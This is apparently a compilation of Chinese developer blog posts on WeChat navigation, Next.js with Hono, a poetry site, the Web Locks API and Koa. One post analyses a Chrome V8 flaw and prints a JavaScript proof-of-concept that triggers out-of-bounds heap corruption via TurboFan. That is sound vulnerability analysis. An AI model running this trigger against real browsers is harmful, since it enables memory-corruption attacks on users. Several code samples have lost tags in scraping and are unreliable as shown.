微信小程序、h5、微信公众号之间的跳转
一、微信小程序不同页面之间的跳转
wx.switchTab
跳转到 tabBar 页面,并关闭所有非 tabBar 页面。
wx.switchTab({
url: '', // app.json 里定义的 tabBar 页面路径,不可传参数
success: function() {},
fail: function() {},
complete: function() {}
});
wx.reLaunch
关闭所有页面,跳转到指定页面。
wx.reLaunch({
url: '', // app.json 里定义页面路径,可传参数,例如 'path?key1=val1&key2=val2'
success: function() {},
fail: function() {},
complete: function() {}
});
// url 上传递的参数可以在被打开页面的 onLoad 生命周期中接收
Page({
onLoad(options) {
// your code...
}
});
如果传递的参数有中文,为了避免乱码,可以先
encodeURIComponent
,再decodeURIComponent
wx.redirectTo
关闭当前页跳转到指定页面,但是不允许跳转到 tabbar 页。
wx.redirectTo({
url: '', // app.json 里定义页面路径,可传参数,例如 'path?key1=val1&key2=val2'
success: function() {},
fail: function() {},
complete: function() {}
});
// url 上传递的参数可以在被打开页面的 onLoad 生命周期中接收
Page({
onLoad(options) {
// your code...
}
});
wx.navigateTo
保留当前页面,跳转到应用内的某个页面。但是不能跳到 tabbar 页面。使用 wx.navigateBack
可以返回到原页面。小程序中页面栈最多十层。
wx.navigateTo({
url: '', // app.json 里定义页面路径,可传参数,例如 'path?key1=val1&key2=val2'
events: {
// 为指定事件添加一个监听器,获取被打开页面传送到当前页面的数据
acceptDataFromOpenedPage: function(data) {
console.log(data);
},
someEvent: function(data) {
console.log(data);
}
},
success: function(res) {
// 通过eventChannel向被打开页面传送数据
res.eventChannel.emit('acceptDataFromOpenerPage', { data: 'test' });
},
fail: function() {},
complete: function() {}
});
// eventChannel 传递的参数可以在被打开页面的 onLoad 生命周期中接收
Page({
onLoad(options) {
console.log('options', options);
const eventChannel = this.getOpenerEventChannel();
eventChannel.emit('acceptDataFromOpenedPage', {data: 'test'});
eventChannel.emit('someEvent', {data: 'test'});
// 监听acceptDataFromOpenerPage事件,获取上一页面通过eventChannel传送到当前页面的数据
eventChannel.on('acceptDataFromOpenerPage', function(data) {
console.log(data)
})
}
});
wx.navigateBack
关闭当前页面,返回上级页面或多级页面,可以通过 getCurrentPages
获取当前的页面栈,决定返回几层。
const pages = getCurrentPages();
const prevPages = pages[pages.length -2];
// 向跳转页面传递参数
prevPages.setData({...});
wx.navigateBack({
delta: 1, // 返回的页面数,默认是 1,如果 delta 大于现有页面,则返回到首页
success: function() {},
fail: function() {},
complete: function() {}
});
二、微信小程序和H5之间的跳转
微信小程序跳转到 H5
使用微信小程序自身提供的 web-view
组件,它作为承载网页的容器,会自动铺满整个小程序页面。
// app.json
{
pages: [
"pages/webView/index"
]
}
// webView/index.wxml
"{{url}}">
// webView/index.js
Page({
data: {
url: ''
},
onLoad: function(options) {
this.setData({
url: options.url
});
}
})
H5 跳转微信小程序
wx-open-launch-weapp
用于H5页面中提供一个可以跳转小程序的按钮。
在使用wx-open-launch-weapp
这个标签之前,需要先引入微信JSSDK,通过 wx.config
接口注入权限验证配置,然后通过 openTagList
字段申请所需要的开放标签。
<wx-open-launch-weapp class="dialog-footer" id="iKnow" username="跳转的小程序原始id" path="所需跳转的小程序内页面路径及参数">
<style>style>
<template>
<div class="dialog-footer" style="font-size: 2rem; text-align: center;">前往小程序div>
template>
wx-open-launch-weapp>
<script src="https://res.wx.qq.com/open/js/jweixin-1.6.0.js">script>
const IKnowElem = document.querySelector("#iKnow");
IKnowElem.addEventListener("launch", function (e) {
console.log("success", e);
});
IKnowElem.addEventListener("error", function (e) {
console.log("fail", e.detail);
});
function jsApiSignature() {
return post(
"/api/mp/jsapi/signature",
{ url: location.href }
).then((resp) => {
if (resp.success) {
const data = resp.data;
wx.config({
appId: appid,
timestamp: data.timestamp,
nonceStr: data.nonceStr,
signature: data.signature,
openTagList: ["wx-open-launch-weapp"],
jsApiList: [],
});
wx.ready(function () {
console.log("ready");
// config信息验证后会执行ready方法,所有接口调用都必须在config接口获得结果之后,config是一个客户端的异步操作,所以如果需要在页面加载时就调用相关接口,则须把相关接口放在ready函数中调用来确保正确执行。对于用户触发时才调用的接口,则可以直接调用,不需要放在ready函数中
});
wx.error(function (res) {
console.error("授权失败", res);
// config信息验证失败会执行error函数,如签名过期导致验证失败,具体错误信息可以打开config的debug模式查看,也可以在返回的res参数中查看,对于SPA可以在这里更新签名
});
}
});
}
三、H5 和微信公众号之间的相互跳转
H5 跳转到微信公众号
在微信公众号里打开的 H5 页面执行 closeWindow
关闭窗口事件即可。
const handleFinish = function () {
console.log("handleFinish");
document.addEventListener(
"WeixinJSBridgeReady",
function () {
WeixinJSBridge.call("closeWindow");
},
false
);
WeixinJSBridge.call("closeWindow");
};
如有问题,欢迎指正~~
来源:juejin.cn/post/7314546931863240723
如何从任意地方点击链接跳转到微信公众号?
一、微信内部点击链接
微信公众号主页链接:
https://mp.weixin.qq.com/mp/profile_ext?action=home&__biz=XXX#wechat_redirect
微信公众号主页链接:
https://mp.weixin.qq.com/mp/profile_ext?action=home&__biz=XXX#wechat_redirect
1.1 action
action
代表当前路径前端框架的哪个页面
- home:当前路径前端框架首页
action
代表当前路径前端框架的哪个页面
- home:当前路径前端框架首页
1.2 __biz
__biz
代表微信公众号 ID
__biz
代表微信公众号 ID
1.2.1 __biz 的获取方式
- 在网页中打开该公众号的任意一篇推文 ➡️ 右击鼠标选择检查 ➡️ 在元素下搜素
__biz
org:url 表示当前内容链接
- 从公众平台进入公众号 ➡️ 公众号设置页,右键打开检查 ➡️ 搜索 uin_base64
- 在网页中打开该公众号的任意一篇推文 ➡️ 右击鼠标选择检查 ➡️ 在元素下搜素
__biz
org:url 表示当前内容链接
- 从公众平台进入公众号 ➡️ 公众号设置页,右键打开检查 ➡️ 搜索 uin_base64
二、微信外部点击链接
目前微信官方没有提供相应的功能,但是有的第三方平台可以实现,比如天天外链
但是需要注意,配置的网页地址不能是公众号首页或关注页,必须是永久公众号文章链接。
来源:juejin.cn/post/7216518492613656636
Next.js 使用 Hono 接管 API
直入正题,Next.js 自带的 API Routes (现已改名为 Route Handlers) 异常难用,例如当你需要编写一个 RESTful API 时,尤为痛苦,就像这样
这还没完,当你需要数据验证、错误处理、中间件等等功能,又得花费不小的功夫,所以 Next.js 的 API Route 更多是为你的全栈项目编写一些简易的 API 供外部服务,这也可能是为什么 Next.js 宁可设计 Server Action 也不愿为 API Route 提供传统后端的能力。
但不乏有人会想直接使用 Next.js 来编写这些复杂服务,恰好 Hono.js 便提供相关能力。
这篇文章就带你在 Next.js 项目中要如何接入 Hono,以及开发可能遇到的一些坑点并如何优化。
Next.js 中使用 Hono
可以按照 官方的 cli 搭建或者照 next.js 模版 github.com/vercel/hono… 搭建,核心代码 app/api/[[...route]]/route.ts
的写法如下所示。
import { Hono } from 'hono'
import { handle } from 'hono/vercel'
const app = new Hono().basePath('/api')
app.get('/hello', (c) => {
return c.json({
message: 'Hello Next.js!',
})
})
export const GET = handle(app)
export const POST = handle(app)
export const PUT = handle(app)
export const DELETE = handle(app)
从 hono/vercel
导入的 handle
函数会将 app 实例下的所有请求方法导出,例如 GET、POST、PUT、DELETE 等。
一开始的 User CRUD 例子,则可以将其归属到一个文件内下,这里我不建议将后端业务代码放在 app/api 下,因为 Next.js 会自动扫描 app 下的文件夹,这可能会导致不必要的热更新,并且也不易于服务相关代码的拆分。而是在根目录下创建名为 server 的目录,并将有关后端服务的工具库(如 db、redis、zod)放置该目录下以便调用。
至此 next.js 的 api 接口都将由 hono.js 来接管,接下来只需要按照 Hono 的开发形态便可。
数据效验
zod 可以说是 TS 生态下最优的数据验证器,hono 的 @hono/zod-validator
很好用,用起来也十分简单。
import { z } from 'zod'
import { zValidator } from '@hono/zod-validator'
import { Hono } from 'hono'
const paramSchema = z.object({
id: z.string().cuid(),
})
const jsonSchema = z.object({
status: z.boolean(),
})
const app = new Hono().put(
'/users/:id',
zValidator('param', paramSchema),
zValidator('json', jsonSchema),
(c) => {
const { id } = c.req.valid('param')
const { status } = c.req.valid('json')
// 逻辑代码...
return c.json({})
},
)
export default app
支持多种验证目标(param,query,json,header 等),以及 TS 类型完备,这都不用多说。
但此时触发数据验证失败,响应的结果令人不是很满意。下图为访问 /api/todo/xxx
的响应结果(其中 xxx 不为 cuid 格式,因此抛出数据验证异常)
所返回的响应体是完整的 zodError 内容,并且状态码为 400
:::tip
数据验证失败的状态码通常为 422
:::
因为 zod-validator 默认以 json 格式返回整个 result,代码详见 github.com/honojs/midd…
这就是坑点之一,返回给客户端的错误信息肯定不会是以这种格式。这里我将其更改为全局错误捕获,做法如下
- 复制 zod-validator 文件并粘贴至
server/api/validator.ts
,并将 return 语句更改为 throw 语句。
if (!result.success) {
- return c.json(result, 400)
}
if (!result.success) {
+ throw result.error
}
- 在
server/api/error.ts
中,编写 handleError 函数用于统一处理异常。(后文前端请求也需要统一处理异常)
import { z } from 'zod'
import type { Context } from 'hono'
import { HTTPException } from 'hono/http-exception'
export function handleError(err: Error, c: Context): Response {
if (err instanceof z.ZodError) {
const firstError = err.errors[0]
return c.json(
{ code: 422, message: `\`${firstError.path}\`: ${firstError.message}` },
422,
)
}
// handle other error, e.g. ApiError
return c.json(
{
code: 500,
message: '出了点问题, 请稍后再试。',
},
{ status: 500 },
)
}
- 在
server/api/index.ts
,也就是 hono app 对象中绑定错误捕获。
const app = new Hono().basePath('/api')
app.onError(handleError)
- 更改 zValidator 导入路径。
- import { zValidator } from '@hono/zod-validator'
+ import { zValidator } from '@/server/api/validator'
这样就将错误统一处理,且后续自定义业务错误也同样如此。
:::note 顺带一提
如果需要让 zod 支持中文错误提示,可以使用 zod-i18n-map
:::
RPC
Hono 有个特性我很喜欢也很好用,可以像 TRPC 那样,导出一个 client 供前端直接调用,省去编写前端 api 调用代码以及对应的类型。
这里我不想在过多叙述 RPC(可见我之前所写有关 TRPC 的使用),直接来说说有哪些注意点。
链式调用
还是以 User CRUD 的代码为例,不难发现 .get
.post
.put
都是以链式调用的写法来写的,一旦拆分后,此时接口还是能够调用,但这将会丢失此时路由对应的类型,导致 client 无法使用获取正常类型,使用链式调用的 app 实例化对象则正常。
替换原生 Fetch 库
hono 自带的 fetch 或者说原生的 fetch 非常难用,为了针对业务错误统一处理,因此需要选用请求库来替换,这里我的选择是 ky,因为他的写法相对原生 fetch 更友好一些,并且不会破坏 hono 原有类型推导。
在 lib/api-client.ts
编写以下代码
import { AppType } from '@/server/api'
import { hc } from 'hono/client'
import ky from 'ky'
const baseUrl =
process.env.NODE_ENV === 'development'
? 'http://localhost:3000'
: process.env.NEXT_PUBLIC_APP_URL!
export const fetch = ky.extend({
hooks: {
afterResponse: [
async (_, __, response: Response) => {
if (response.ok) {
return response
} else {
throw await response.json()
}
},
],
},
})
export const client = hc<AppType>(baseUrl, {
fetch: fetch,
})
这里我是根据请求状态码来判断本次请求是否为异常,因此使用 response.ok,而响应体正好有 message 字段可直接用作 Error message 提示,这样就完成了前端请求异常处理。
至于说请求前自动添加协议头、请求后的数据转换,这就属于老生常谈的东西了,这里就不多赘述,根据实际需求编写即可。
请求体与响应体的类型推导
配合 react-query 可以更好的获取类型安全。此写法与 tRPC 十分相似,相应代码 → Inferring Types
// hooks/users/use-user-create.ts
import { client } from '@/lib/api-client'
import { InferRequestType, InferResponseType } from 'hono/client'
import { useMutation } from '@tanstack/react-query'
import { toast } from 'sonner'
const $post = client.api.users.$post
type BodyType = InferRequestType<typeof $post>['json']
type ResponseType = InferResponseType<typeof $post>['data']
export const useUserCreate = () => {
return useMutation<ResponseType, Error, BodyType>({
mutationKey: ['create-user'],
mutationFn: async (json) => {
const { data } = await (await $post({ json })).json()
return data
},
onSuccess: (data) => {
toast.success('User created successfully')
},
onError: (error) => {
toast.error(error.message)
},
})
}
在 app/users/page.tsx
中的使用
'use client'
import { useUserCreate } from '@/features/users/use-user-create'
export default function UsersPage() {
const { mutate, isPending } = useUserCreate()
const handleSubmit = (e: React.FormEvent ) => {
e.preventDefault()
const formData = new FormData(e.currentTarget)
const name = formData.get('name') as string
const email = formData.get('email') as string
mutate({ name, email })
}
return (
<form onSubmit={handleSubmit}>
<div>
<label htmlFor='name'>Name:label>
<input type='text' id='name' name='name' />
div>
<div>
<label htmlFor='email'>Email:label>
<input type='email' id='email' name='email' />
div>
<button type='submit' disabled={isPending}>
Create User
button>
form>
)
}
OpenAPI 文档
这部分我已经弃坑了,没找到一个很好的方式为 Hono 写 OpenAPI 文档。不过对于 TS 全栈开发者,似乎也没必要编写 API 文档(接口自给自足),更何况还有 RPC 这样的黑科技,不担心接口的请求参数与响应接口。
如果你真要写,那我说说几个我遇到的坑,也是我弃坑的原因。
首先就是写法上,你需要将所有的 Hono 替换成 OpenAPIHono (来自 @hono/zod-openapi, 其中 zod 实例 z 也是)。以下是官方的示例代码,我将其整合到一个文件内
import { createRoute, OpenAPIHono, z } from '@hono/zod-openapi'
import { swaggerUI } from '@hono/swagger-ui'
const app = new OpenAPIHono()
const ParamsSchema = z.object({
id: z
.string()
.min(3)
.openapi({
param: {
name: 'id',
in: 'path',
},
example: '123',
}),
})
const UserSchema = z
.object({
id: z.string().openapi({ example: '123' }),
name: z.string().openapi({ example: 'John Doe' }),
})
.openapi('User')
const route = createRoute({
method: 'get',
path: '/api/users/{id}',
request: {
params: ParamsSchema,
},
responses: {
200: {
content: {
'application/json': {
schema: UserSchema,
},
},
description: 'Retrieve the user',
},
},
})
app.openapi(route, async (c) => {
const { id } = c.req.valid('param')
// 逻辑代码...
const user = {
id,
name: 'Ultra-man',
}
return c.json(user)
})
从上述代码的可读性来看,第一眼你很难看到清晰的看出这个接口到底是什么请求方法、请求路径,并且在写法上需要使用 .openapi
方法,传入一个由 createRoute 所创建的 router 对象。并且写法上不是在原有基础上扩展,已有的代码想要通过代码优先的方式来编写 OpenAPI 文档将要花费不小的工程,这也是我为何不推荐的原因。
定义完接口(路由)之后,只需要通过 app.doc 方法与 swaggerUI 函数,访问 /api/doc 查看 OpenAPI 的 JSON 数据,以及访问 /api/ui 查看 Swagger 界面。
import { swaggerUI } from '@hono/swagger-ui'
app.doc('/api/doc', {
openapi: '3.0.0',
info: {
version: '1.0.0',
title: 'Demo API',
},
})
app.get('/api/ui', swaggerUI({ url: '/api/doc' }))
从目前来看,OpenAPI 文档的生成仍面临挑战。我们期待 Hono 未来能推出一个功能,可以根据 app 下的路由自动生成接口文档(相关Issue已存在)。
仓库地址
附上本文中示例 demo 仓库链接(这个项目就不搞线上访问了)
后记
其实我还想写写 Auth、DB 这些服务集成的(这些都在我实际工作中实践并应用了),或许是太久未写 Blog 导致手生了不少,这篇文章也是断断续续写了好几天。后续我将会出一版完整的我个人的 Nextjs 与 Hono 的最佳实践模版。
也说说我为什么会选用 Hono.js 作为后端服务, 其实就是 Next.js 的 API Route 实在是太难用了,加之轻量化,你完全可以将整个 Nextjs + Hono 服务部署在 Vercel 上,并且还能用上 Edge Functions 的特性。(就是有点小贵)
但不过从我的 Nest.js 开发经验来看(也可能是习惯了 Spring Boot 那套三层架构开发形态),总觉得 Hono 差了点意思,说不出来的体验,可能这就是所谓的全栈框架的开发感受吧。
来源:juejin.cn/post/7420597224516812837
丰富的诗词资源!一个现代化诗词学习网站!
大家好,我是 Java陈序员
。
之前,给大家推荐过一个古诗文起名工具,利用古诗文进行起名。
今天,给大家介绍一个现代化诗词学习网站,完美适用于自身、孩子学习背诵古诗词!
关注微信公众号:【Java陈序员】,获取开源项目分享、AI副业分享、超200本经典计算机电子书籍等。
项目介绍
aspoem
—— 现代化诗词学习网站,一个更加注重UI和阅读体验的诗词网站。收集了丰富的诗词资源,用户可以通过作者、诗词、名句快速查找诗词。
功能特色:
- 提供丰富的中国古典诗词资源
- 提供诗词欣赏与学习、拼音标注、注释和白话文翻译
- 提供全站搜索、诗人及词牌名索引以及标签系统方便查找相关主题诗词
- 界面友好,便于用户使用,支持暗黑模式和多种主题
- 注重移动端的适配,支持 PC 和手机端访问
技术栈:
- React
- Next
- Tailwind CSS
- PostgreSQL
项目体验
诗词
丰富的诗词:aspoem
目前已经收集了 6000+ 首诗词。
诗词鉴赏:提供拼音标注、注释和白话文等的展示方式,使诗词更加易于阅读。
摘抄卡片:提供高清大图,支持免费下载。
诗人
海量的诗人:aspoem
目前汇总了 700+ 个诗人、词人。
诗人介绍:提供诗人介绍,以及创作的诗词,方便有针对性的学习。
词牌名&标签&片段
词牌名:收集了多种多样的词牌名,并汇总对应的诗词。
标签:按照近体诗、书籍、诗经、节日、情感等分类进行打标签,方便检索查询。
片段:摘抄经典的名片诗句、词句。
其他功能
检索查询:查找诗人、诗词、名句。
暗黑模式
多种主题
适配移动端
本地运行
前期准备
1、下载代码
git clone https://github.com/meetqy/aspoem.git
2、复制一份 .env.example
并重命名为 .env
aspoem
提供了是否集成 PostgreSQL 两种版本,可自行挑选。
集成 PostgreSQL
1、修改配置文件 .env
中的 PostgreSQL 连接信息
# 后台操作需要的 Token, http://localhost:3000/create?token=v0
TOKEN="v0"
# 本地
POSTGRES_PRISMA_URL="postgresql://meetqy@localhost:5432/aspoem"
POSTGRES_URL_NON_POOLING="postgresql://meetqy@localhost:5432/aspoem"
# 统计相关 没有可不填 不会加载对应的代码
# google analytics id
NEXT_PUBLIC_GA_ID="G-PYEC5EG749"
# microsoft-clarity-id
NEXT_PUBLIC_MC_ID="ksel7bmi48"
2、安装依赖
pnpm install
3、启动项目
pnpm run dev
4、浏览器访问 http://localhost:3000
不集成 PostgreSQL
1、修改 .env
POSTGRES_PRISMA_URL="postgresql://meetqy@localhost:5432/aspoem"
POSTGRES_URL_NON_POOLING="postgresql://meetqy@localhost:5432/aspoem"
改为
POSTGRES_PRISMA_URL="file:./db.sqlite"
POSTGRES_URL_NON_POOLING="file:./db.sqlite"
2、修改 prisma/schema.prisma
中的
datasource db {
provider = "postgresql"
url = env("POSTGRES_PRISMA_URL")
directUrl = env("POSTGRES_URL_NON_POOLING")
}
改为
datasource db {
provider = "sqlite"
url = env("POSTGRES_PRISMA_URL")
directUrl = env("POSTGRES_URL_NON_POOLING")
}
3、将 prisma/sample.sqlite
改为 db.sqlite
4、安装依赖并启动,推荐使用 pnpm
pnpm i
pnpm db:push
pnpm dev
Docker 部署
aspoem
项目提供 Dockerfile 和 docker-compose.yml 文件。Dockfile 用于构建 aspoem
服务镜像,docker-compose.yml 用于启动 aspoem
和一个 PostgresSQl
.
执行以下命令,一键启动项目:
cd aspoem
docker compose up
aspoem
一个致力于分享诗词的平台,为用户提供了一个良好的诗词阅读体验!对于喜欢中国诗词的朋友们来说,真的是一个宝藏。它不仅资源丰富,而且界面简洁,使用起来非常友好。大家快去体验吧~
项目地址:https://github.com/meetqy/aspoem
最后
推荐的开源项目已经收录到 GitHub
项目,欢迎 Star
:
https://github.com/chenyl8848/great-open-source-project
或者访问网站,进行在线浏览:
https://chencoding.top:8090/#/
大家的点赞、收藏和评论都是对作者的支持,如文章对你有帮助还请点赞转发支持下,谢谢!
来源:juejin.cn/post/7419267723782570022
Chrome 浏览器惊现严重漏洞
近期,Chrome 又爆出了一个惊天漏洞,其内部的 JavaScript 引擎 V8 存在不恰当的实现让远程攻击者可以通过精心设计的 HTML 页面对堆损坏进行潜在的攻击。
前置知识
V8 引擎是 Google 开发的开源 JavaScript 引擎
,最初是为 Chrome 浏览器设计的,现在也被 Node.js 和许多其他项目广泛使用。值得注意的是,从 2020 年开始,Edge 浏览器转而使用了 Chromium 项目,这意味着现在的 Microsoft Edge 浏览器确实使用 V8 引擎来执行 JavaScript 代码,与 Google Chrome 浏览器相同。
堆损坏(Heap Corruption)
是一种常见的内存错误,发生在程序错误地操作堆内存时。堆是动态内存分配的区域,程序在运行时可以从堆中分配或释放内存。如果程序不正确地处理这些操作,就可能导致堆损坏。攻击者可能利用堆损坏来执行任意代码,这是许多安全攻击的基础。
漏洞信息
漏洞名称 | Google Chrome 安全漏洞 | 威胁等级 | 高 |
---|---|---|---|
影响产品 | Chromium(Edge、Chrome等) | 影响版本 | 小于等于128.0.6613.84 |
该漏洞已经在新版本的 Chrome 和 Edge 修复,可以更新至最新版本预防该威胁。
漏洞分析
以下是为 ARM64
设备设计的漏洞利用原型,用于触发该漏洞:
var arrx = new Array(150);
arrx[0] = 1.1;
var fake = new Uint32Array(10);
fake[0]= 1;
fake[1] =3;
fake[2]=2;
fake[3] = 4;
fake[4] = 5;
fake[5] = 6;
fake[6] = 7;
fake[7] = 8;
fake[8] = 9;
var tahir = 0x1;
function poc(a) {
var oob_array = new Array(5);
oob_array[0] = 0x500;
let just_a_variable = fake[0];
let another_variable3 = fake[7];
if(a % 7 == 0)
another_variable3 = 0xff00000000; //spray high bytes
another_variable3 = Math.max(another_variable3,tahir);
another_variable3 = another_variable3 >>> 0;
var index = fake[3];
var for_phi_modes = fake[6];
let c = fake[1];
//giant loop for generate cyclic graph
for(var i =0;i<10;i++) {
if( a % 3 == 0){
just_a_variable = c;
}
if( a % 37 == 0) {
just_a_variable = fake[2];
}
if( a % 11 == 0){
just_a_variable = fake[8];
}
if( a % 17 == 0){
just_a_variable = fake[5];
}
if( a % 19 == 0){
just_a_variable = fake[4];
}
if( a % 7 == 0 && i>=5){
for_phi_modes = just_a_variable;
just_a_variable = another_variable3;
}
if(i>=6){
for(let j=0;j<5;j++){
if(a % 5 == 0) {
index = for_phi_modes;
oob_array[index] = 0x500; //zero extends before getting value
}
}
}
for_phi_modes = c;
c = just_a_variable;
}
//zero extend
return [index,BigInt(just_a_variable)];
}
for(let i = 2; i<0x500;i++) {
poc(i); //compile using turbofan
}
poc(7*5);
通过复杂的数组操作和循环逻辑,企图达到越界访问或者修改内存的目的,从而可能实现任意代码执行。脚本的核心部分是利用 TurboFan 编译器优化的特性,通过特定的数据操作来破坏内存结构
。
代码分析
首先代码对如下几个变量进行了初始化,分别为:
- arrx 是一个长度为
150
的数组,初始化第一个元素为 1.1。 - fake 是一个长度为
10
的 Uint32Array,用于存储一系列整数。 - tahir 是一个十六进制的整数值 0x1。
然后就是函数部分,包含了复杂的逻辑和条件判断,主要用于操作和修改 oob_array 和 fake 数组的元素。主要有以下几点信息:
- oob_array 是一个长度为 5 的数组,用于存储操作结果。
- 函数内部使用了多个
局部变量
来从 fake 数组中读取数据,并根据输入参数 a 的不同值改变这些数据。 - 特别是在 a % 5 == 0 的条件下,代码尝试访问
oob_array[index]
,其中 index 是从 fake 数组中获取的。这可能导致越界访问,因为 index 的值可能超出 oob_array 的索引范围。
最后就是通过多次调用 poc 函数,并且特意让 TurboFan 编译器优化这些循环调用。在一些优化过程中,编译器可能未能处理好边界条件,导致安全问题。
关键点
- TurboFan 编译器优化:
TurboFan
是 V8 引擎中的优化编译器,通过频繁调用 poc 函数,脚本试图诱导TurboFan
生成的代码在边界检查上产生漏洞,从而实现越界访问或写入。 - 内存破坏:通过复杂的条件控制流,脚本试图创建出一种可以操纵内存指针的情况(如
index
和for_phi_modes
),从而进行越界写入
,可能导致内存破坏,进一步用于任意代码执行。 - 条件分支与循环:脚本中多次使用复杂的条件判断和循环逻辑来混淆内存操作,可能意在规避一些简单的防护机制,并诱导编译器优化过程中出现漏洞。
来源:juejin.cn/post/7416517826041790514
前端可以玩“锁”🔐了
大家好,我是CC,在这里欢迎大家的到来~
“锁”经常使用在多进程的语言理和数据库事务的架构当中,现在 Web API 当中也提供了“锁”- Web Locks API。
领域
在浏览器多标签页或 worker 中运行的脚本中获取锁,执行工作时保持锁,最后释放锁。
锁的范围仅限于同一源内
请求锁
同一源下,当持有锁时,其他相同锁的请求将排队,仅当锁被释放时第一个排队的请求才会被授予锁。
回调函数执行完毕后锁会自动释放
navigator.locks.request('mylock', {}, async (lock) => {
console.log(lock);
});
在这里我们能看到 request 方法的第二个参数(可选),可以在请求锁时传递一些选项,这个我们在后边会介绍到。
监控锁
判断锁管理器的状态,有利于调试;返回结果是一个锁管理器状态的快照,标识了持有锁和请求中的锁的有关数据,像名称、client_id和模式。
navigator.locks.query().then((locks) => {
console.log(locks);
});
实现
接下来将使用请求锁的可选参数实现以下内容:
从异步任务返回值
request() 方法本身返回一个 Promise,一旦锁被释放,该 Promise 就会 resolve。
const result = await navigator.locks.request('ccmama'}, async (lock) => {
// 任务
return data;
});
// 拿到内部回调函数返回的 data
console.log(result);
共享锁和独占锁模式
配置项 mode 默认是 'exclusive',可选项还有 'shared'。
锁只能有一个持有者,但是可以同时授权多个共享。
在读写模式中经常使用 'shared' 模式进行读取,'exclusive' 模式用于写入。
navigator.locks.request('ccmama', {
mode: 'shared',
}, async (lock) => {
// 任务
});
📢
持有 'exclusive' 锁,同名 'exclusive' 锁排队等候
持有 'exclusive' 锁,同名 'shared' 锁排队等候
持有 'shared' 锁,同名 'shared' 锁也可访问同一资源
持有 'shared' 锁,同名 'exclusive' 锁排队等候
条件获取
配置项 ifAvailable 默认 false,当设置 true 时锁请求仅在不需要排队时才会被授予,也就是说在任务没有其他等待的情况下锁请求才会被授予,否则返回 null。
navigator.locks.request('ccmama', { ifAvailable: true }, async lock => {
if (!lock) return;
// 任务
});
注意:同名锁
防止死锁的应急通道
配置项 steal 默认 false,当设置为 true 时任何持有的同名锁将被释放,并且请求将被授权,抢占任何排队中的锁请求。
navigator.locks.request('ccmama', { steal: true }, async lock => {
// 任务
});
⚠️
使用要小心。之前在锁内运行的代码会继续运行,并且可能与现在持有锁的代码发生冲突。
中止锁定请求
配置项 signal 是 AbortSignal 类型;如果指定并且 AbortController 被中止,则锁请求将被丢弃。
try {
const controller = new AbortController();
setTimeout(() => controller.abort(), 400);
navigator.locks.request('ccmama', { signal: controller.signal }, async lock => {
// 任务
});
} catch(ex) {}
// 或
try {
navigator.locks.request('ccmama', { signal: AbortSignal.timeout(1000) }, async lock => {
// 任务
});
} catch(ex) {}
⚠️
超时时会报出一个异常错误,需要使用 try catch 捕获
参考文章
可能理解并不一定到位,欢迎交流。
来源:juejin.cn/post/7382640456109490211
向全栈靠齐的前端分享
背景与思考
前端在很多后端开发人员中,总是觉得没啥技术含量。尤其是在老java眼中,深深感觉存在严重的鄙视链。然后就是自己的职业规划,也不想一直做前端敲代码。毕竟自己的付出不少,也想收获属于自己的成就感。然后自己的横向发展就成了必然。
后端技术首推Node
- 前后端编程环境和语法一致,上手非常快。
- 轻量级,部署简单。
- 生态丰富,文档颇多,碰到问题,百度查询方便。
- 高效的异步I/O模型,易处理大并发和连接。
Node框架推荐Koa
- 相对于express,Koa更加的轻便,上手主打一个简单易学好用。
- 语法上它的中间件和前端的模块化很像,开发思路一致。
- 前端熟悉的async await,promise方式,很好的解决了多层嵌套,地狱回调问题。
- 借助 co 和 generator,很好地解决了异步流程控制和异常捕获问题。
学习推荐
我当初学习也是想看了一下官网,发现确实如介绍般的简单,但是对于入门者来说,有点简单的过分了。在此推荐阮一峰老师的网络日志(不是打广告,确实是我当初前端起步阶段的老师之一,受益匪浅)。
主要代码解析
项目结构
app.js源码
const Koa = require('koa');
const Router = require('koa-router');
// 跨域模块
var cors = require('koa2-cors');
//文件模块
const fs = require('fs');
const { historyApiFallback } = require('koa2-connect-history-api-fallback');
//静态文件加载
const serve = require('koa-static');
//路径管理
const path = require('path');
//koa-body对文件上传进行配置
const koaBody = require('koa-body')
//实例化koa
const app = new Koa();
app.use(historyApiFallback());
app.use(cors());
const router = new Router();
const bodyParser = require('koa-bodyparser');
const controller = require('./controller');
app.use(async (ctx, next) => {
ctx.set("Access-Control-Allow-Origin", "*")
await next()
})
app.use(bodyParser());
// 处理跨域
app.use(controller());
app.use(koaBody({
multipart:true,
formidable:{
maxFileSize:50000*1024*1024, //设置上传文件大小最大限制,默认为2m,2000*1024*1024
keepExtensions: true // 保留文件拓展名
}
}))
// 1.主页静态网页 把静态页统一放到public中管理
const main = serve(path.join(__dirname) + '/build');
//配置路由
app.use(router.routes()).use(router.allowedMethods());
const port = 5000;
app.use(main)
app.listen(port, () => {
console.log(`server started on ${port}`)
});
依赖包讲解
const Koa = require('koa');
这是引入koa框架,这是重中之重,只有引入了才能够在项目中使用。在项目中会通过new来实例化,比如代码中的const app = new Koa();
。然后再定义一个监听的端口,app.listen()
方法来进行监听。
const fs = require('fs');
这是koa自带的文件模块,如果你想对系统文件进行读取,修改。或者文件上传保存,都离不开整个fs模块,fs.readFile
和fs.readFileSync
。
const koaBody = require('koa-body')
Koa-body是基于Koa的中间件模型构建的,主要用于文件上传,以及在中间件中对请求体的解析。对请求体的解析中,我们主要使用koa-bodyparser,它可以将http请求中的数据,解析成我们需要的JavaScript对象。
const Router = require('koa-router');
```门口
Router模块就是路由,此路由和前端路由有差异,此路由可以理解为前端理解的api接口,只是叫法不一样而已。
```js
const { historyApiFallback } = require('koa2-connect-history-api-fallback');
koa2-connect-history-api-fallback
是一个专门为 Koa2 框架设计的中间件,它的主要目的是在SPA应用中处理URL重定向,尤其是在用户直接输入或者通过后退按钮访问非根URL时。 这个中间件会将所有未匹配到特定路由的请求转发到默认HTML文件(通常是 index.html
),确保SPA可以正常启动并处理路由。还记得当初自己终于完成了一整套的项目线上部署,可把自己开心坏了,但是同事在一次用着发现,刷新页面时,页面直接变成了404,你说吓不吓人。盘查一下发现自己在vue前端中的路由为何在后端中变成了一个get请求。
controller.js源码
const fs = require('fs')
// add url-route in /controllers:
function addMapping (router, mapping) {
for (var url in mapping) {
if (url.startsWith('GET ')) {
var path = url.substring(4)
router.get(path, mapping[url])
// console.log(`register URL mapping: GET ${path}`);
} else if (url.startsWith('POST ')) {
var path = url.substring(5)
router.post(path, mapping[url])
// console.log(`register URL mapping: POST ${path}`);
} else if (url.startsWith('PUT ')) {
var path = url.substring(4)
router.put(path, mapping[url])
// console.log(`register URL mapping: PUT ${path}`);
} else if (url.startsWith('DELETE ')) {
var path = url.substring(7)
router.del(path, mapping[url])
// console.log(`register URL mapping: DELETE ${path}`);
